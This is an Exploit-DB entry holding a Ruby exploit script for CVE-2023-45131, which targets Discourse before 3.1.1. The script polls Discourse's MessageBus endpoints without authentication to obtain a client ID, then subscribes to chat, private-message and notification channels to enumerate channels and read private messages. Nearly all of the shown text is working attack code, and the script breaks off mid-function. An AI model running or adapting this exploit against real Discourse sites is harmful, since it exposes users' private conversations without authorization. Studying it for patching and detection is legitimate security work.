Exploit-DB #52375
Description: Discourse 3.1.1 - Unauthenticated Chat Message Access
Type: webapps
Platform: multiple
Date: 2025-07-22
Author: İbrahimsql

Exploit:
#!/usr/bin/env ruby
# Title : Discourse 3.1.1 - Unauthenticated Chat Message Access
# CVE-2023-45131
# CVSS: 7.5 (High)
# Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2
# Author ibrahimsql @ https://twitter.com/ibrahmsql
# Date: 2023-12-14

require 'net/http'
require 'uri'
require 'json'
require 'openssl'
require 'base64'

class CVE202345131
  def initialize(target_url)
    @target_url = target_url.chomp('/')
    @results = []
    @message_bus_client_id = nil
    @csrf_token = nil
  end

  def run_exploit
    puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access"
    puts "[*] Target: #{@target_url}"
    puts "[*] CVSS Score: 7.5 (High)"
    puts "[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n"

    # Test MessageBus access
    test_messagebus_access
    test_chat_channel_enumeration
    test_private_message_access
    test_real_time_monitoring
    test_message_history_access
    test_user_enumeration_via_chat

    generate_report
    @results
  end

  private

  def test_messagebus_access
    puts "[*] Testing MessageBus unauthenticated access..."
    
    begin
      # Get MessageBus client ID
      uri = URI("#{@target_url}/message-bus/poll")
      
      response = make_request(uri, 'GET')
      
      if response && response.code == '200'
        begin
          data = JSON.parse(response.body)
          if data.is_a?(Array) && !data.empty?
            @message_bus_client_id = extract_client_id(response)
            
            @results << {
              vulnerability: "MessageBus Access",
              severity: "High",
              description: "Unauthenticated access to MessageBus endpoint confirmed",
              impact: "Can monitor real-time messages and notifications",
              client_id: @message_bus_client_id
            }
            puts "[+] MessageBus access confirmed - Client ID: #{@message_bus_client_id}"
            return true
          end
        rescue JSON::ParserError
          # Try alternative endpoints
          test_alternative_messagebus_endpoints
        end
      end
    rescue => e
      puts "[!] Error testing MessageBus access: #{e.message}"
    end
    
    false
  end

  def test_alternative_messagebus_endpoints
    puts "[*] Testing alternative MessageBus endpoints..."
    
    endpoints = [
      "/message-bus/poll",
      "/message-bus/subscribe",
      "/message-bus/diagnostics",
      "/message-bus/long-poll"
    ]

    endpoints.each do |endpoint|
      begin
        uri = URI("#{@target_url}#{endpoint}")
        response = make_request(uri, 'GET')
        
        if response && response.code == '200'
          if response.body.include?('message-bus') || response.body.include?('clientId')
            @results << {
              vulnerability: "Alternative MessageBus Endpoint",
              severity: "Medium",
              endpoint: endpoint,
              description: "Alternative MessageBus endpoint accessible",
              impact: "Potential message monitoring capability"
            }
            puts "[+] Alternative endpoint accessible: #{endpoint}"
          end
        end
      rescue => e
        puts "[!] Error testing endpoint #{endpoint}: #{e.message}"
      end
    end
  end

  def test_chat_channel_enumeration
    puts "[*] Testing chat channel enumeration..."
    
    return unless @message_bus_client_id
    
    begin
      # Try to enumerate chat channels
      uri = URI("#{@target_url}/message-bus/poll")
      
      # Subscribe to chat channels
      data = {
        '/chat/new-messages' => -1,
        '/chat/channel-status' => -1,
        '/chat/user-tracking' => -1,
        'clientId' => @message_bus_client_id
      }
      
      response = make_request(uri, 'POST', data)
      
      if response && response.code == '200'
        begin
          messages = JSON.parse(response.body)
          
          if messages.is_a?(Array) && !messages.empty?
            chat_channels = extract_chat_channels(messages)
            
            if !chat_channels.empty?
              @results << {
                vulnerability: "Chat Channel Enumeration",
                severity: "High",
                channels: chat_channels,
                description: "Enumerated accessible chat channels",
                impact: "Can identify active chat channels and participants"
              }
              puts "[+] Chat channels enumerated: #{chat_channels.join(', ')}"
            end
          end
        rescue JSON::ParserError => e
          puts "[!] Error parsing chat channel response: #{e.message}"
        end
      end
    rescue => e
      puts "[!] Error enumerating chat channels: #{e.message}"
    end
  end

  def test_private_message_access
    puts "[*] Testing private message access..."
    
    return unless @message_bus_client_id
    
    begin
      # Try to access private messages
      uri = URI("#{@target_url}/message-bus/poll")
      
      # Subscribe to private message channels
      data = {
        '/private-messages' => -1,
        '/chat/private' => -1,
        '/notification' => -1,
        'clientId' => @message_bus_client_id
      }
      
      response = make_request(uri, 'POST', data)
      
      if response && response.code == '200'
        begin
          messages = JSON.parse(response.body)
          
          if messages.is_a?(Array)
            private_messages = extract_private_messages(messages)
            
            if !private_messages.empty?
              @results << {
                vulnerability: "Private Message Access",
                severity: "Critical",
                messages: private_messages,
                description: "Accessed private chat messages without authentication",
                impact: "Complete breach of private communication c